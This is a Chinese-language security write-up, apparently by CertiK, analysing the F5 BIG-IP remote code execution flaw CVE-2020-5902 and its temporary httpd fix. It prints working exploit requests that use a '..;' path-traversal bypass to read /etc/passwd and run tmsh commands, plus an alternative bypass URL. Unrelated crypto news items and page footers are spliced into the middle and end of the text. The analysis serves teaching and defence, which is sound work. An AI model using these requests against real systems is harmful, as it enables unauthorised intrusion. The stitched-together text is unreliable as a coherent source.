前言
今日一早起來推特以及各大技術論壇上炸開了鍋,安全圈子的人都在討論F5設備里遠程代碼執行的漏洞。很多討論的內容,大部分是在分享如何尋找目標,利用漏洞,并沒有關于對漏洞成因的分析。CertiK的安全研究員下載了存在漏洞的程序,搭建環境復現漏洞后,對漏洞的起因進行了分析,并在下文分享給大家。
背景
F5BIG-IP是美國F5公司的一款集成了網絡流量管理、應用程序安全管理、負載均衡等功能的應用交付平臺。PositiveTechnologies的研究人員MikhailKlyuchnikov發現其配置工具TrafficManagementUserInterface中存在遠程代碼執行漏洞,CVE編號為CVE-2020-5902。該漏洞CVSSv3評分為10分,攻擊者可利用該漏洞創建或刪除文件,關閉服務、執行任意的系統命令,最終獲得服務器的完全控制權。CVE具體表述請查看文章底部參考鏈接1。
受影響的BIG-IP軟件版本
漏洞利用
讀取任意文件:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
CER報告:45個加密錢包品牌中只有6個經過了滲透測試:金色財經報道,網絡安全認證平臺 CER一份報告發現,45 個加密貨幣錢包品牌中,只有 6 個(即 13.3%)經過了滲透測試以發現安全漏洞。其中,只有一半對其產品的最新版本進行了測試。報告稱,完成最新滲透測試的三個品牌是 MetaMask、ZenGo 和 Trust Wallet。Rabby 和 Bifrost 對舊版本的軟件進行了滲透測試,Ledger Live 對未知版本(在報告中列為“N/A”)進行了滲透測試,列出的所有其他品牌均未提供任何做過這些測試的證據。
該報告還對每個錢包的安全性進行了總體排名,將 MetaMask、ZenGo、Rabby、Trust Wallet 和 Coinbase Wallet 列為總體最安全的錢包。[2023/8/10 16:16:45]
遠程執行tmsh命令:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
官方給出的臨時修復方案(后文會對修復進行分析):
CertiK:此前向Worldcoin報告的安全漏洞已得到修復:8月3日消息,區塊鏈安全公司CertiK在社交平臺表示,該公司在 5 月 29 日向 Worldcoin 的安全團隊報告了一個可能允許攻擊者通過繞過驗證過程成為 Orb 運營商的安全漏洞。通過這個安全漏洞,惡意攻擊者可以繞過Worldcoin運營商接受過程的驗證和嚴格的參與條件。這意味著它不需要是一家公司,也不需要進行適當的身份驗證或接受審查面試。
在正常情況下,只有通過 Worldcoin 嚴格的身份驗證過程的合法企業才能運行收集用戶虹膜信息的 Orb 操作。Worldcoin 的安全團隊確認了這個安全漏洞,并迅速發布了修復。CertiK 已經驗證并確認該修復已經緩解了威脅。[2023/8/4 16:17:24]
漏洞復現
在F5的官網注冊賬號之后,可以從F5的資源庫中下載存在漏洞的BIG-IP軟件。訪問參考鏈接2可以下載BIG-IPTMOS(TrafficManagementOperatingSystem,流量管理操作系統)的虛擬機鏡像。CertiK技術團隊因為使用VmwareFusion,下載的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-ImagefilesetforVMwareESX/iServer”。
在VmwareFusion中加載鏡像(import):
Tracer DAO聯創發起社區提案,擬將協議Token置換為開發平臺Mycelium Token:8月8日消息,Tracer DAO聯合創始人Patrick McNab發起社區提案,擬將協議Token TCR 1:1置換為協議開發平臺Mycelium Token MYC,提案通過后,Mycelium團隊將把所有商業、產品和開發資源投入到Mycelium品牌下的Tracer產品擴展。
Mycelium是Tracer DAO的開發團隊,其業務還包括ChainLink節點運營和開發可編程聲譽服務平臺Reputation DAO等。[2022/8/8 12:09:32]
加載完成之后,使用默認用戶名密碼登陸系統:
用戶名:root
密碼:default
系統初始化之后,使用”ifconfig”命令查詢虛擬機IP地址。CertiK技術團隊的BIG-IPTMUI虛擬機IP地址為”172.16.4.137”。
在瀏覽器中訪問BIG-IPTMUI登陸界面:
https://172.16.4.137/tmui/login.jsp
動態 | 幣安實驗室向智能合約驗證平臺CertiK投資數百萬美元:據Coindesk消息,幣安實驗室近日向智能合約驗證平臺CertiK投資,投資額達數百萬美元。據悉,CertiK為初創型企業,其中兩名創始人分別來自美國的耶魯大學和哥倫比亞大學。[2018/10/8]
復現任意文件讀取:
在瀏覽器中訪問以下地址可以讀取”/etc/passwd”文件內容:
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
復現tmsh命令執行:
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
聲音 | Spencer Bogart:比特幣ETF等因素可致比特幣價格暴漲:Blockchain Capital合伙人Spencer Bogart周三在接受CNBC采訪時表示,任何數量的催化劑都可能導致比特幣價格暴漲。這些催化劑包括全球貿易緊張局勢、比特幣ETF的可能性、不斷上升的匯率,以及萬事達最近宣布的一項新專利允許比特幣在信用卡上進行交易。[2018/7/26]
漏洞分析
在進入漏洞分析前,先要明確一點:漏洞利用中的fileRead.jsp和tmshCmd.jsp文件在用戶登陸后本身是可以被訪問的。
下面的截圖顯示了登陸前和登陸后訪問以下URL的區別:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
登陸前訪問:
被跳轉回登陸界面
輸入賬號密碼登陸管理界面之后再訪問,可執行fileRead.jsp讀取文件。
fileRead.jsp和tmshCmd.jsp雖然是在PoC中最終被利用的文件,但是他們并不是漏洞的起因。此漏洞的本質是利用Apache和后臺Java(tomcat)對URL的解析方式不同來繞過登陸限制,在未授權的情況下,訪問后臺JSP模塊。CertiK技術人員第一次注意到此類型漏洞是在2018年Orange的BlackHat演講:“BreakingParserLogicTakeYourPathNormalizationOffandPop0DaysOut”.這里可以查看演講稿件(參考鏈接2)。
這里我們可以理解在F5BIG-IP的后臺服務器對收到了URL請求進行了兩次的解析,第一次是httpd(Apache),第二次是后一層的Java(tomcat).
在URL在第一次被Apache解析時,Apache關注的是URL的前半段https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
當Apache在看見前半段是合法URL且是允許被訪問的頁面時,就把它交給了后面的第二層。Apache在這里完全把URL里面關鍵的/..;/給無視了。
在URL在第二次被解析時,后面的Java(tomcat)會把/..;/理解為,向上返回一層路徑。此時,/login.jsp/和/..;/會抵消掉。Tomcat看到的真正請求從
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
變成了:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
再來fileRead.jsp并沒有對收到的請求進行身份驗證,后臺因此直接執行fileRead.jsp,讀取并返回了/etc/passwd文件的內容。
根據以上的思路,其實可以找出別的利用漏洞的URL,比如:
https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
這里“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一樣,是一個不需要登陸就能訪問的頁面。但是因為要向上返回兩次,需要用兩個/..;/來抵消掉”/login/legal.html”。
回到開頭提到的官方給出的臨時修復方案,修復方案的本質是在httpd的配置中添加以下規則:
include'
<LocationMatch".*\\.\\.;.*">
Redirect404/
</LocationMatch>
'
這個規則的意思是,當http服務器在監測到URL中包含..;(句號句號分號)的時候,直接返回404.這樣利用漏洞的請求就沒辦法到達后臺(第二層)了。
如何避免漏洞:
此漏洞的利用方式在網絡上公開之后,因為它的攻擊成本低廉,大批黑客都開始圖謀利用此漏洞攻擊使用F5BIG-IP產品的系統。黑客只需要付出極小的代價就能獲得目標系統的控制權,對系統產生巨大的破壞。
俗話說:“不怕賊偷,就怕賊惦記”。即便這樣的黑客攻擊事件這次沒有發生在你身上,不代表你是安全的。因為很有可能黑客的下一個目標就是你。
而Certik的專業技術團隊會幫你徹底打消這種“賊惦記”的擔憂。CertiK專業滲透測試團隊會通過對此類事件的監測,第一時間給客戶提交漏洞預警報告,幫助客戶了解漏洞細節以及防護措施。此舉可以確保客戶的系統不受攻擊并且不會遭受財產損失。
同時作為一名安全技術人員,在新漏洞被發現的時,不僅需要知道漏洞是如何被黑客利用的,更要去探尋漏洞背后的原因,方可積累經驗,更加有能力在復雜的系統中發現隱藏的漏洞。
CertiK以及其技術人員,將永遠把安全當做信仰,與大家一同學習并一同成長。
參考鏈接
1.https://cve.mitre.org/
2.https://downloads.f5.com/
3.https://i.blackhat.com/
CypherMoneyxCoinTelegraph8/4在深圳這次的「日出Meetup」集結了6個潛力項目,以及兩場重量級論壇,在DeFi熱潮過后你該關注的項目都在這里了.
1900/1/1 0:00:00今日消息面 今日受美國獨立日假期影響,美股將休市一日。市場層面上,BTC夜間下挫至$9050,后反彈至$9100附近.
1900/1/1 0:00:00市場要聞 1、反洗錢金融行動特別工作組FATF計劃加強加密交易所全球監管框架金融行動特別工作組等措施更加有效.
1900/1/1 0:00:00易天說 昨日易天老師在文章中給出的BTC操作區間在9100-9300,區間不大;昨日比特幣行情最高到達9340一線,于晚間10點時抵達最低9046一線;雖然給出的區間上下沿都有所突破.
1900/1/1 0:00:00比特幣仍在箱體內震蕩,ETH走出不錯的行情,仍在箱體內,并未有效突破。DIFI的總市值現在竄到60億美金,上次說的時候才20億美金,這也是讓ETH保持堅挺最主要的因素.
1900/1/1 0:00:007月5日,國內首個隱私計算產業論壇在杭州區塊鏈國際周上強勢登場。活動匯聚了AI、區塊鏈、大數據、物聯網等眾多技術方向的頂級主流機構代表與專家,聚焦“密碼學”“多方安全計算”“安全”“聯邦學習”等.
1900/1/1 0:00:00